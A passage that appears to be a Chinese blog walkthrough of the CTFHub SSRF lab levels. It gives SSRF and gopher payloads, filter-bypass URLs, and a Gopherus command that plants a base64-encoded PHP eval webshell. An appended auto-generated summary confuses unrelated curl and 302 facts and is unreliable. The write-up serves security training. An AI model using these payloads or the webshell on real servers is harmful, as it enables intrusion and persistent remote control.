CTFHub技能书——web-SSRF篇通关攻略

一、内网访问

根据提示直接在网址后面跟上

/?url=http://127.0.0.1/flag.php

二、伪协议读取文件

直接在网址后跟

/?url=file:///var/www/html/flag.php

我们发现界面没有显示flag,查看页面源代码

三、端口扫描

/?url=http://127.0.0.1:?/flag.php

根据提示端口号在8000-9000之间,我们不可能一个个试,这时候需要工具来帮助。

开启环境之后,直接使用burpsuite的狙击手模式直接开始爆破

设置变量的类型(Numbers)和范围(8000-9000)

之后访问端口便可获得flag或者直接在工具的响应中得到。

四、POST请求

输入key后直接抓包

将数据修改至上述几行然后进行url编码(进行两次)目的是为了浏览器成功解析。

中途需要替换

再次进行url编码

将得到的编码加入网址后(注意使用gopher协议,端口号后加"_"下划线)

五、上传文件

我们进入flag.php中发现没有提交按钮,我们进入控制台,自己添加提交按钮。

文件选择小一点的,防止出错,点击提交抓包。

注意中文可能乱码,将包里的内容修改成以下行。

接下来与POST提交一致,进行二次编码。

进行替换

二次编码

然后将得到的编码加入网址后得到flag

六、FastCGI协议

本题我们需要Gopherus工具帮助,我们把工具下载至虚拟机中

下载地址:https://github.com/tarunkant/Gopherus.git

插入一个木马以获得用户文件操作权限。

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

需要将生成的进行一次编码,因为get本身会进行一次url解码

然后访问,和上传文件的方式一样,当显示以下页面,则证明木马插入成功。

然后用中国菜刀(Web Shell)工具,连接获得

七、Redis协议

操作流程与FastCGI协议一样,代码略有不同。详见下图

进行编码

访问网址,进行木马的植入。可能是redis协议的原因,会加载至超时。

这时直接访问shell.php,发现木马植入成功。

使用菜刀访问,得到flag

八、URL Bypass

构造urlbypass payload

利用@符号绕过

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

九、数字IP Bypass

十六进制 = 7F000001
二进制 = 1111111000000000000000000000001

127.0.0.1=localhost

十、302跳转 Bypass

进制转换   16进制  2进制(会被检测)
?url=0x7F000001/flag.php
?url=http://0x7F000001/flag.php
其他代表127.0.0.1地址符号的  localhost  0  
localhos在IPV4中被指向127.0.0.1 
?url=localhost/flag.php
?url=http://localhost/flag.php
?url=0/flag.php
?url=http://0/flag.php

参考关于localhost,0.0.0.0及127.0.0.1的区别

十一、 DNS重绑定 Bypass

根据关卡提示这是一个测试dns重绑定漏洞的网站,可以让一个域名随机的绑定两个IP

一个127.0.0.1,一个其他的ip(能访问就行,我设置的是该关卡自己的本地服务器ip)

访问获得flag

  • 28
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFHubWeb技能树中,302跳转是一种常见的技术。根据引用\[1\],302跳转继承了HTTP 1.0中302的实现,即无论原请求是GET还是POST,都可以自动进行重定向。而根据引用\[2\],在使用curl命令进行下载时,可以通过参数-C -实现断点续传,即在下载过程中按Ctrl + C停止下载,下次可以接着上次的进度继续下载。这样可以节省时间,避免重复下载已经下载过的部分。 在某些情况下,302跳转可能会受到黑名单的限制。根据引用\[3\],黑名单可能限制了特定的网段,如127、172、10、192网段。然而,可以通过使用localhost的方式绕过这些限制。例如,将http://127.0.0.1/flag.php转换为短网址,并构造Payload发送请求,利用302跳转可以获取到flag。 总结来说,302跳转是一种常见的Web技术,可以用于重定向请求。在CTFHubWeb技能树中,了解如何使用302跳转以及如何绕过黑名单限制是很重要的。 #### 引用[.reference_title] - *1* *2* [2.CTFhub技能web前置技能 http协议 302跳转](https://blog.csdn.net/FFFFFFMVPhat/article/details/121342556)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能Web-SSRF 302跳转 Bypass](https://blog.csdn.net/weixin_44037296/article/details/118482943)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值